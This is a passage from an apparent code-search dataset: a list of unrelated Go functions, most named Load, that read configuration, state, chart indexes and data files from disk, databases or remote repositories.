*Chart) GetChart(details *Details) (*chart.Chart, error) {\n\trepoURL := details.RepoURL\n\tif repoURL == \"\" {\n\t\t// FIXME: Make configurable\n\t\trepoURL = defaultRepoURL\n\t}\n\trepoURL = strings.TrimSuffix(strings.TrimSpace(repoURL), \"/\") + \"/index.yaml\"\n\n\tauthHeader := \"\"\n\tif details.Auth.Header != nil {\n\t\tnamespace := os.Getenv(\"POD_NAMESPACE\")\n\t\tif namespace == \"\" {\n\t\t\tnamespace = defaultNamespace\n\t\t}\n\n\t\tsecret, err := c.kubeClient.Core().Secrets(namespace).Get(details.Auth.Header.SecretKeyRef.Name, metav1.GetOptions{})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tauthHeader = string(secret.Data[details.Auth.Header.SecretKeyRef.Key])\n\t}\n\n\tlog.Printf(\"Downloading repo %s index...\", repoURL)\n\trepoIndex, err := fetchRepoIndex(&c.netClient, repoURL, authHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchartURL, err := findChartInRepoIndex(repoIndex, repoURL, details.ChartName, details.Version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"Downloading %s ...\", chartURL)\n\tchartRequested, err := fetchChart(&c.netClient, chartURL, authHeader, c.load)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn chartRequested, nil\n}", "func Load() {\n\tloadNS()\n\tloadRoot()\n}", "func (g *Gonf) Load() error {\n\tb, err := ioutil.ReadFile(g.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcfg := map[string]interface{}{}\n\tif err := json.Unmarshal(b, &cfg); err != nil {\n\t\treturn err\n\t}\n\n\t// forbids access to Get/Set local and HTTP while reloading\n\tg.confLock.Lock()\n\tdefer g.confLock.Unlock()\n\tg.conf = cfg\n\n\treturn g.load(cfg, []string{}, []otoFlag{})\n}", "func (portfolio *Portfolio) Load(config portfolioConfig) error {\n\n\tportfolio.Name = config.Name\n\n\ttotalAllocation := 0.0\n\n\tfor _, holdingConfig := range config.Holdings {\n\t\tportfolio.Symbols = append(portfolio.Symbols, holdingConfig.Symbol)\n\t\tportfolio.Holdings[holdingConfig.Symbol] = NewHolding(\n\t\t\tholdingConfig.Symbol,\n\t\t\tholdingConfig.Quantity,\n\t\t\tholdingConfig.CostBasis,\n\t\t\tholdingConfig.Watch)\n\t\tportfolio.TargetAllocation[holdingConfig.Symbol] = holdingConfig.TargetAllocation\n\t\ttotalAllocation += holdingConfig.TargetAllocation\n\t\tportfolio.CostBasis += holdingConfig.CostBasis\n\t}\n\n\tif totalAllocation != 100.0 && totalAllocation != 0.0 {\n\t\treturn errors.New(\"Total allocation should be either 0% (ignored) or 100%\")\n\t}\n\n\treturn nil\n}", "func (ss *StoreService) Load(ctx context.Context, in *todo.TaskID, out *todo.TaskDefinition) error {\n\treturn ss.Store.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(\"todoStore\"))\n\t\tdata := b.Get([]byte(in.Id))\n\t\treturn json.Unmarshal(data, out)\n\t})\n}", "func (c *Info) Load() error {\n\tb, err := ioutil.ReadFile(c.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.Lock()\n\terr = json.Unmarshal(b, c)\n\tc.Unlock()\n\n\treturn err\n}", "func loadIndexFile(r *hub.ChartRepository) (*repo.IndexFile, error) {\n\trepoConfig := &repo.Entry{\n\t\tName: r.Name,\n\t\tURL: r.URL,\n\t}\n\tgetters := getter.All(&cli.EnvSettings{})\n\tchartRepository, err := repo.NewChartRepository(repoConfig, getters)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpath, err := chartRepository.DownloadIndexFile()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tindexFile, err := repo.LoadIndexFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn indexFile, nil\n}", "func (d *Database) Load() error {\n\tb, err := ioutil.ReadFile(d.FilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := json.Unmarshal(b, &d.State); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (component *Component) Load(filename string) error {\n\treturn util.LoadYAML(filename, component)\n}", "func fetchChart(netClient *HTTPClient, chartURL, authHeader string, load LoadChart) (*chart.Chart, error) {\n\treq, err := getReq(chartURL, authHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := (*netClient).Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdata, err := readResponseBody(res)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn load(bytes.NewReader(data))\n}", "func (g *GitArtifactDriver) Load(inputArtifact *wfv1.Artifact, path string) error {\n\tif g.SSHPrivateKey != \"\" {\n\t\tsigner, err := ssh.ParsePrivateKey([]byte(g.SSHPrivateKey))\n\t\tif err != nil {\n\t\t\treturn errors.InternalWrapError(err)\n\t\t}\n\t\tauth := &ssh2.PublicKeys{User: \"git\", Signer: signer}\n\t\tif g.InsecureIgnoreHostKey {\n\t\t\tauth.HostKeyCallback = ssh.InsecureIgnoreHostKey()\n\t\t}\n\t\treturn gitClone(path, inputArtifact, auth, g.SSHPrivateKey)\n\t}\n\tif g.Username != \"\" || g.Password != \"\" {\n\t\tauth := &http.BasicAuth{Username: g.Username, Password: g.Password}\n\t\treturn gitClone(path, inputArtifact, auth, \"\")\n\t}\n\treturn gitClone(path, inputArtifact, nil, \"\")\n}", "func (s *Store) Load() error {\n\tfReader, err := os.Open(filepath.Join(s.rwDirPath, storeName))\n\tif err != nil {\n\t\treturn errors.Wrap(err, err.Error())\n\t}\n\tdefer fReader.Close()\n\n\tdec := gob.NewDecoder(fReader)\n\n\ts.Lock()\n\tdefer s.Unlock()\n\n\terr = dec.Decode(&s.data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, err.Error())\n\t}\n\treturn nil\n}", "func Load() (interface{}, interface{}, error) {\n\tsettings := &Settings{}\n\n\treturn &InfluxStorage{Settings: settings}, settings, nil\n}", "func (s *Schedule) Load() {\r\n\tb, _ := ioutil.ReadFile(s.fileName)\r\n\tjson.Unmarshal(b, &s.ScheduleMap)\r\n}", "func Load(contextDir string, event *api.Event, dockerManager *docker.Manager, tree *parser.Tree) *Build {\n\treturn &Build{\n\t\tcontextDir: contextDir,\n\t\tevent: event,\n\t\tdockerManager: dockerManager,\n\t\ttree: tree,\n\t}\n}", "func (s *yamlStore) Load() error {\n\treturn s.LoadFrom(DefaultPath)\n}", "func Load(path string, object interface{}) error {\n\tfile, err := os.Open(path)\n\tif err == nil {\n\t\tdecoder := json.NewDecoder(file)\n\t\terr = decoder.Decode(object)\n\t}\n\tfile.Close()\n\treturn err\n}", "func Load(r io.Reader, v interface{}) error {\n\tdata, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn json.Unmarshal(data, v)\n}", "func (r *PebbleFileRegistry) Load() error {\n\tr.mu.Lock()\n\tdefer r.mu.Unlock()\n\tr.mu.currProto = &enginepb.FileRegistry{}\n\tr.registryFilename = r.FS.PathJoin(r.DBDir, fileRegistryFilename)\n\tf, err := r.FS.Open(r.registryFilename)\n\tif oserror.IsNotExist(err) {\n\t\treturn nil\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tvar b []byte\n\tif b, err = ioutil.ReadAll(f); err != nil {\n\t\treturn err\n\t}\n\tif err = protoutil.Unmarshal(b, r.mu.currProto); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (d *Datastore) Load() (Object, error) {\n\td.localLock.Lock()\n\tdefer d.localLock.Unlock()\n\n\t// clear Object first, as mapstructure's decoder doesn't have ZeroFields set to true for merging purposes\n\td.meta.Object = d.meta.Object[:0]\n\n\terr := d.kv.LoadConfig(d.meta)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = d.meta.unmarshall()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn d.meta.object, nil\n}", "func (wd WorkDir) Load(file string) ([]byte, error) {\n\tfh, err := os.Open(wd.Join(file))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer fh.Close()\n\treturn ioutil.ReadAll(fh)\n}", "func (r *Repository) Load(ctx context.Context, aggregateID string) (Aggregate, int, error) {\n\thistory, err := r.store.Load(ctx, aggregateID, 0, 0)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tentryCount := len(history)\n\tif entryCount == 0 {\n\t\treturn nil, 0, xerrors.Errorf(\"unable to load %T, %v: %w\", r.newAggregate(), aggregateID, errAggregateNotFound)\n\t}\n\n\tr.logf(\"Loaded %v event(s) for aggregate id, %v\", entryCount, aggregateID)\n\taggregate := r.newAggregate()\n\n\tversion := 0\n\tfor _, record := range history {\n\t\tevent, err := r.serializer.UnmarshalEvent(record)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\terr = aggregate.On(event)\n\t\tif err != nil {\n\t\t\teventType, _ := EventType(event)\n\t\t\treturn nil, 0, xerrors.Errorf(\"aggregate was unable to handle event, %v: %w\", eventType, err)\n\t\t}\n\n\t\tversion = event.EventVersion()\n\t}\n\n\treturn aggregate, version, nil\n}", "func Load(path string) (content []byte, err error) {\n\tif content, err = ioutil.ReadFile(path); err == nil {\n\t\tif err != nil {\n\t\t\tcontent = nil\n\t\t}\n\t}\n\treturn\n}", "func (d *DashCastController) Load(url string, reloadTime time.Duration, forceLaunch bool) error {\n\treload := !(forceLaunch || reloadTime == 0)\n\tif reload {\n\t\treloadTime = 0\n\t}\n\terr := d.channel.Send(&dashcast.LoadCommand{\n\t\tURL: url, Force: forceLaunch, Reload: reload, ReloadTime: int64(reloadTime)})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to send play command: %s\", err)\n\t}\n\treturn nil\n}", "func (d *Directory) Load(file string) ([]byte, error) {\n\tfh, err := os.Open(d.Join(file))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer fh.Close()\n\treturn ioutil.ReadAll(fh)\n}", "func (r *Reserve) Load() *Store {\n\tret := NewStore()\n\tdata, err := ioutil.ReadFile(r.path)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to load store %s: %s\\n\", r.name, err)\n\t\treturn &Store{}\n\t}\n\tjson.Unmarshal(data, &ret)\n\treturn ret\n}", "func (ed *Editor) Load(s []byte) {\n\tlast := len(ed.buffer.Lines) - 1\n\tall := address.Selection{To: address.Simple{last, ed.buffer.Lines[last].RuneCount()}}\n\ted.dot = ed.buffer.ClearSel(all)\n\ted.dot.To = ed.buffer.InsertString(address.Simple{}, string(s))\n\ted.history = new(hist.History)\n\ted.uncommitted = nil\n\ted.dirty = true\n}", "func (ws *WalletStore) Load(filename string) error {\n\tcontent, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\treader := bytes.NewReader(content)\n\tgob.Register(elliptic.P256())\n\tdecoder := gob.NewDecoder(reader)\n\terr = decoder.Decode(&ws.Wallets)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Load(s *session.Session) (m *Crawler, err error) {\n\n\tconfig := s.Config.Crawler\n\tm = &Crawler{\n\t\tSessionModule: session.NewSessionModule(Name, s),\n\t\tEnabled: config.Enabled,\n\t\tUpTo: config.UpTo,\n\t\tDepth: config.Depth,\n\t}\n\n\t// Armor domains\n\tconfig.ExternalOrigins = proxy.ArmorDomain(config.ExternalOrigins)\n\n\tif !m.Enabled {\n\t\tm.Debug(\"is disabled\")\n\t\treturn\n\t}\n\n\tm.explore()\n\twaitGroup.Wait()\n\tconfig.ExternalOrigins = proxy.ArmorDomain(crawledDomains)\n\n\tm.Info(\"Domain crawling stats:\")\n\terr = s.UpdateConfiguration(&s.Config.Crawler.ExternalOrigins, &subdomains, &uniqueDomains)\n\treturn\n}", "func (function *Function) Load() (err error) {\n\tdefinition, err := ioutil.ReadFile(function.Path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfunction.Definition = string(definition)\n\n\treturn\n}", "func (tracker *Service) Load(id issue.ID) (issue.Info, error) {\r\n\tdefer tracker.lock().unlock()\r\n\r\n\tfor _, info := range tracker.infos {\r\n\t\tif info.ID == id {\r\n\t\t\treturn info, nil\r\n\t\t}\r\n\t}\r\n\r\n\treturn issue.Info{}, issue.ErrNotExist\r\n}", "func Load(filename string) (*RBM, error) {\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tdecoder := json.NewDecoder(file)\n\trbm := &RBM{}\n\terr = decoder.Decode(rbm)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn rbm, nil\n}", "func (response *ResponseSearch) Load(data *[]byte) error {\n\terr := json.Unmarshal(*data, &response)\n\treturn err\n}", "func Load(path string) (db DB, err error) {\n\tdb.filePath = path\n\n\tb, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(b, &db)\n\n\treturn\n}", "func (rc *RepoConfig) load() *Repo {\n\trepo := new(Repo)\n\trepo.Dir = rc.Dir\n\n\t//apps := make([]app.App, len(rc.Apps))\n\tvar apps []app.App\n\tfor name, appConfig := range rc.Apps {\n\t\tapps = append(apps, *appConfig.load(name))\n\t}\n\n\trepo.apps = apps\n\n\treturn repo\n}", "func (l *loaderImpl) Load(location string) ([]byte, error) {\n\tscheme, err := l.getSchemeLoader(location)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfullLocation, err := scheme.FullLocation(l.root, location)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn scheme.Load(fullLocation)\n}", "func (sys *IAMSys) Load(objAPI ObjectLayer) error {\n\tif globalEtcdClient != nil {\n\t\treturn sys.refreshEtcd()\n\t}\n\treturn sys.refresh(objAPI)\n}", "func (e *Definition) Load(path, entity string) error {\n\n\tfullPath := filepath.Join(path, entity)\n\n\tb, err := ioutil.ReadFile(fullPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tcontent := string(b)\n\te.json = jsonutil.NewFromString(content)\n\te.byteRead = 0\n\n\ts, err := schema.Read(e)\n\tif err != nil {\n\t\tlog.Printf(\"failed to read schema: %s\", err)\n\t\treturn err\n\t}\n\n\te.schema = s\n\tv := validator.New(s)\n\te.validator = v\n\treturn nil\n}", "func (r *ReferenceOntology) Load() ([]RDFNode, error) {\n\treturn r.LoadAsAlias(\"\")\n}", "func (w *WidgetList) Load(path string) error {\n\t// Lock widget list\n\tw.rw.Lock()\n\n\t// Unlock widget list\n\tdefer w.rw.Unlock()\n\n\t// Load all directories of the widget folder\n\twidgets, err := ioutil.ReadDir(path)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set slice\n\tw.List = []*Widget{}\n\n\t// Loop folder items\n\tfor _, file := range widgets {\n\n\t\t// Check if file is a directory\n\t\tif file.IsDir() {\n\n\t\t\t// Append widget\n\t\t\tw.List = append(w.List, &Widget{\n\t\t\t\tName: file.Name(),\n\t\t\t\trw: &sync.RWMutex{},\n\t\t\t})\n\t\t}\n\t}\n\n\treturn nil\n}", "func Load(path string, target interface{}) error {\n\tformatter, err := parsePath(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn load(formatter, data, target)\n}", "func (t BlobsTable) Load(ctx context.Context, query string, args ...interface{}) (*Blob, error) {\n\treturn t.driver.load(ctx, query, args...)\n}", "func (al *AggregateLoader) Load() (retErr error) {\n\tlog.Println(\"loader started\")\n\tconfig := al.config\n\tignoreNew = config.IgnoreNew\n\tdg, err := dgraph.NewDgraphConnection(&dgraph.Config{\n\t\tHosts: config.Alpha,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//api.NewDgraphClient(server1),\n\n\t// Drop schema and all the data present in database\n\tif config.DropSchema {\n\t\tif err := dropSchema(dg); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// creates schema whatever is present in database\n\tif config.CreateSchema {\n\t\tif err := createSchema(dg, config.SchemaFiles); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !(config.LoadMetadata || config.LoadEquipments || config.LoadStaticData) {\n\t\treturn\n\t}\n\n\tbatchSize = config.BatchSize\n\tfmt.Println(batchSize)\n\twg := new(sync.WaitGroup)\n\tch := make(chan *api.Mutation)\n\tdoneChan := make(chan struct{})\n\t// Load metadata from equipments files\n\tif config.LoadMetadata {\n\t\tfor _, filename := range config.MetadataFiles.EquipFiles {\n\t\t\twg.Add(1)\n\t\t\tgo func(fn string) {\n\t\t\t\tloadEquipmentMetadata(ch, doneChan, fn)\n\t\t\t\twg.Done()\n\t\t\t}(config.ScopeSkeleten + \"/\" + filename)\n\t\t}\n\t}\n\n\tml := &MasterLoader{}\n\n\tif config.LoadStaticData || config.LoadEquipments {\n\t\topts := badger.DefaultOptions(config.BadgerDir)\n\t\topts.Truncate = true\n\t\tdb, err := badger.Open(opts)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdefer db.Close()\n\n\t\tzero, err := grpc.Dial(config.Zero, grpc.WithInsecure())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdefer zero.Close()\n\n\t\txidMap = xidmap.New(db, zero, xidmap.Options{\n\t\t\tNumShards: 32,\n\t\t\tLRUSize: 4096,\n\t\t})\n\n\t\tdefer xidMap.EvictAll()\n\n\t\tfile := config.StateConfig\n\n\t\tm, err := newMasterLoaderFromFile(file)\n\t\tif err != nil {\n\t\t\tlogger.Log.Error(\"state file not found all data will be processod\", zap.String(\"state_file\", file), zap.Error(err))\n\t\t\tml = &MasterLoader{\n\t\t\t\tLoaders: make(map[string]*ScopeLoader),\n\t\t\t}\n\t\t} else {\n\t\t\tml = m\n\t\t}\n\n\t\tdefer func() {\n\t\t\tif err := saveMaterLoaderTofile(file, ml); err != nil {\n\t\t\t\tlogger.Log.Error(\"cannot save state\", zap.Error(err))\n\t\t\t}\n\t\t}()\n\t}\n\n\t// load equipments using equiments types\n\t// Preconditions: equipment types must have been created\n\tif config.LoadEquipments {\n\t\teqTypes, err := config.Repository.EquipmentTypes(context.Background(), []string{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tlog.Println(config.EquipmentFiles)\n\t\t\tloadEquipments(ml, ch, config.MasterDir, config.Scopes, config.EquipmentFiles, eqTypes, doneChan)\n\t\t\twg.Done()\n\t\t}()\n\t}\n\n\t// Load static data like products equipments that\n\t// Like Products,application,acquired rights,instances\n\tif config.LoadStaticData {\n\t\tfor _, ldr := range al.loaders {\n\t\t\twg.Add(1)\n\t\t\tgo func(l loader) {\n\t\t\t\tl.load(ml, dg, config.MasterDir, l.scopes, l.files, ch, doneChan)\n\t\t\t\twg.Done()\n\t\t\t}(ldr)\n\t\t}\n\t}\n\n\tmuRetryChan := make(chan *api.Mutation)\n\tac := new(AbortCounter)\n\n\tfilesProcessedChan := make(chan struct{})\n\n\tgo func() {\n\t\twg.Wait()\n\t\t// wg wait above will make sure that all the gouroutines possibly writing on this\n\t\t// channel are returened so that there are no panic if someone write on this channel.\n\t\tclose(filesProcessedChan)\n\t\tfmt.Println(\"file processing done\")\n\t}()\n\n\twg1 := new(sync.WaitGroup)\n\twg1.Add(1)\n\tgo func() {\n\t\thandleAborted(muRetryChan, ch, doneChan, ac)\n\t\twg1.Done()\n\t}()\n\twg1.Add(1)\n\tgo func() {\n\t\tsigChan := make(chan os.Signal)\n\t\tsignal.Notify(sigChan)\n\t\tselect {\n\t\tcase sig := <-sigChan:\n\t\t\tlog.Println(sig.String())\n\t\tcase <-filesProcessedChan:\n\t\t}\n\t\t// Close done chan\n\t\tclose(doneChan)\n\t\twg1.Done()\n\t\t// Close done chan\n\t}()\n\tmutations := 0\n\tnquads := 0\n\tt := time.Now()\n\n\tfor i := 0; i < 1; i++ {\n\t\twg1.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg1.Done()\n\t\t\tfor {\n\t\t\t\tvar mu *api.Mutation\n\t\t\t\tselect {\n\t\t\t\tcase mu = <-ch:\n\t\t\t\tcase <-filesProcessedChan:\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif _, err := dg.NewTxn().Mutate(context.Background(), mu); err != nil {\n\t\t\t\t\t// TODO : do not return here directly make an error and return\n\t\t\t\t\tmuRetryChan <- mu\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t}\n\t\t\t\tmutations++\n\t\t\t\tnquads += len(mu.Set)\n\t\t\t\tfmt.Printf(\"time elapsed[%v], completed mutations: %v, edges_total:%v,edges this mutation: %v \\n\", time.Now().Sub(t), mutations, nquads, len(mu.Set))\n\t\t\t\t// log.Println(ass.GetUids())\n\t\t\t}\n\t\t}()\n\t}\n\twg1.Wait()\n\tif ac.Count() != 0 {\n\t\treturn fmt.Errorf(\"cannot compete :%d number of aborted mutations\\n %v\", ac.Count(), ml.Error())\n\t}\n\treturn ml.Error()\n}", "func (ColourSketchStore *ColourSketchStore) Load(path string) error {\n\tb, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = msgpack.Unmarshal(b, ColourSketchStore)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (self *LSHforest) Load(path string) error {\n\tb, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn msgpack.Unmarshal(b, self)\n}", "func Load(filename string) *contract.JSON {\n\tdata, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tcontract, err := common.UnmarshalDFSSFile(data)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn contract\n}", "func Load(fromPath string, toVar interface{}) {\n\tfile, e := ioutil.ReadFile(fromPath)\n\terr.Panic(e)\n\tfile = RemoveComment(file)\n\terr.Panic(json.Unmarshal(file, toVar))\n}", "func (d *Dump) Load() error {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tvar (\n\t\tdata []byte\n\t\terr error\n\t)\n\n\tif data, err = ioutil.ReadFile(d.filename); err != nil {\n\t\treturn err\n\t}\n\n\treturn d.decodeGob(data)\n}", "func (p *Project) load() (err error) {\n\tpPtr, err := readProjectWithId(p.Id)\n\tif err != nil {\n\t\tlog.Debug(err)\n\t}\n\t*p = *pPtr\n\treturn\n}", "func (f *FilePersist) Load(ctx context.Context) (map[string]string, error) {\n\tfr, err := os.Open(f.filename)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to open file: %w\", err)\n\t}\n\tdefer fr.Close()\n\n\tdb := make(map[string]string)\n\tif err := json.NewDecoder(fr).Decode(&db); err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to decode file: %w\", err)\n\t}\n\treturn db, nil\n}", "func (d *Dao) Load(context data.Map, source *url.Resource, target interface{}) error {\n\ttext, err := source.DownloadText()\n\tif err != nil {\n\t\treturn err\n\t}\n\tcontext.Put(OwnerURL, source.URL)\n\tcontext.Put(NeatlyDao, d)\n\tAddStandardUdf(context)\n\ttext = strings.Replace(text, \"\\r\", \"\", len(text))\n\tscanner := bufio.NewScanner(strings.NewReader(text))\n\ttargetMap, err := d.load(context, source, scanner)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar sourceMap = make(map[string]interface{})\n\terr = d.converter.AssignConverted(&sourceMap, source)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif d.includeMeta {\n\t\ttargetMap[\"Source\"] = sourceMap\n\t}\n\treturn d.converter.AssignConverted(target, targetMap)\n}", "func (l *Level) load(path string) error {\n\t*l = NewLevel()\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"open file to load level: %w\", err)\n\t}\n\tdefer f.Close()\n\tdecoder := json.NewDecoder(f)\n\terr = decoder.Decode(l)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decoding level from file: %w\", err)\n\t}\n\tfor _, a := range l.Art {\n\t\terr := a.Load()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"load %v: %w\", a.Path, err)\n\t\t}\n\t}\n\tif l.PlayerArt != nil {\n\t\terr := l.PlayerArt.Load()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"load player art %v: %w\", l.PlayerArt.Path, err)\n\t\t}\n\t}\n\tif l.BGArt != nil {\n\t\terr := l.BGArt.Load()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"load BG art %v: %w\", l.BGArt.Path, err)\n\t\t}\n\t}\n\tif l.BGAudio != nil {\n\t\terr = l.BGAudio.Load()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"load bg audio: %w\", err)\n\t\t}\n\t}\n\tfor n, t := range l.Triggers {\n\t\terr := t.Load()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"load trigger '%v': %w\", n, err)\n\t\t}\n\t\tl.Triggers[n] = t\n\t}\n\treturn nil\n}", "func Load() {\n\tpostgres.Load()\n}", "func (b *QueryBuilder) Load() []map[string]interface{} {\n\treturn nil\n}", "func (s *Data) Load() (cfg config.Provider, err error) {\n\tvar reader io.Reader\n\tif reader, err = s.Reader.Read(s.Location); err != nil {\n\t\treturn\n\t}\n\tvar parsed map[string]interface{}\n\tif parsed, err = s.Parser.Parse(reader); err == nil {\n\t\tcfg = &provider.Default{\n\t\t\tSourceName: s.Source(),\n\t\t\tRepository: &repository.Map{\n\t\t\t\tDatabase: parsed,\n\t\t\t},\n\t\t\tValueConverter: &valueconverter.Default{},\n\t\t\tValueResolver: &valueresolver.Default{},\n\t\t}\n\t}\n\tif closer, ok := reader.(io.Closer); ok {\n\t\terrClose := closer.Close()\n\t\tif errClose != nil {\n\t\t\terr = errClose\n\t\t}\n\t}\n\treturn\n}", "func (s *ShardFamily) Load(slice *Slice) (err error) {\n\n}", "func Load(\n\tim IndexManager,\n\tinfo beat.Info,\n\tstats Observer,\n\tname string,\n\tconfig *common.Config,\n) (Group, error) {\n\tfactory := FindFactory(name)\n\tif factory == nil {\n\t\treturn Group{}, fmt.Errorf(\"output type %v undefined\", name)\n\t}\n\n\tif stats == nil {\n\t\tstats = NewNilObserver()\n\t}\n\treturn factory(im, info, stats, config)\n}", "func load() {\n _, err := git.PlainClone(string(Root), false, &git.CloneOptions{\n URL: \"https://github.com/CSSEGISandData/COVID-19.git\",\n Progress: os.Stdout,\n })\n Check(err)\n}", "func (d *DiskStorage) load() error {\n\terr := d.db.Update(func(tx *bolt.Tx) error {\n\t\t_, err := tx.CreateBucketIfNotExists([]byte(d.name))\n\t\treturn err\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = d.db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(d.name))\n\t\tcursor := b.Cursor()\n\t\tfor k, v := cursor.First(); k != nil; k, v = cursor.Next() {\n\t\t\tlog.Infof(\"load pod cache %s from db\", k)\n\t\t\tobj, err := d.deserializer(v)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = d.memory.Put(string(k), obj)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\treturn err\n}", "func (bs *BoxStorage) Load() error {\n\n\tlog.Println(\"Loading file from\", bs.fileLocation+\"/\"+BoxStorageFileName)\n\n\tfh, err := os.Open(bs.fileLocation + \"/\" + BoxStorageFileName)\n\tdefer fh.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdec := gob.NewDecoder(fh)\n\terr = dec.Decode(&bs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Load() (map[string]Spot, error) {\n\t// Load from disk\n\tf, err := os.Open(FilePath())\n\tdefer f.Close()\n\tif err != nil {\n\t\tlog.Print(\"No data file to load, creating one\")\n\t\tsave()\n\t}\n\tunmarshal(f, &store)\n\treturn store, nil\n}", "func (self *JsonConfig) Load() (err error) {\n\tvar data []byte = make([]byte, 1024)\n\tif data, err = ioutil.ReadFile(self.Path); err != nil {\n\t\treturn err\n\t}\n\tout, err := unmarshalJson(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tself.Configurable.Reset(out)\n\treturn nil\n}", "func Load(fs *axis2.FileSystem, log rblutil.Logger) (data *Database, err error) {\n\tdefer errors.TrapError(&err, log)\n\n\trblutil.LogSeparator(log)\n\tlog.Println(\"Loading Addons...\")\n\n\tdata = &Database{\n\t\tTable: map[string]*Addon{},\n\t\tMeta: map[string]*Meta{},\n\t\tPacks: map[string]*PackMeta{},\n\t\tBanks: map[string]string{},\n\n\t\ttagsFirst: map[string][]string{},\n\t\ttagsLast: map[string][]string{},\n\n\t\tupdateBlacklist: map[string]bool{},\n\n\t\tGlobals: NewFileList(),\n\t}\n\n\tlog.Println(\" Loading Global Settings...\")\n\tglobal := NewPackMeta()\n\tcontent, err := fs.ReadAll(\"addons/global.meta\")\n\tif err == nil {\n\t\terr := json.Unmarshal(killMetaComments.ReplaceAllLiteral(content, []byte(\"\\n\")), global)\n\t\tif err != nil {\n\t\t\terrors.RaiseWrappedError(\"While loading global.meta\", err)\n\t\t}\n\t}\n\tdata.Writers = append(data.Writers, global.Writers...)\n\tfor k, v := range global.TagsFirst {\n\t\tdata.tagsFirst[k] = v\n\t}\n\tfor k, v := range global.TagsLast {\n\t\tdata.tagsLast[k] = v\n\t}\n\n\t// Import any tags defined by native APIs (generally script runners).\n\tfor k, v := range DefaultFirst {\n\t\tdata.tagsFirst[k] = v\n\t}\n\tfor k, v := range DefaultLast {\n\t\tdata.tagsLast[k] = 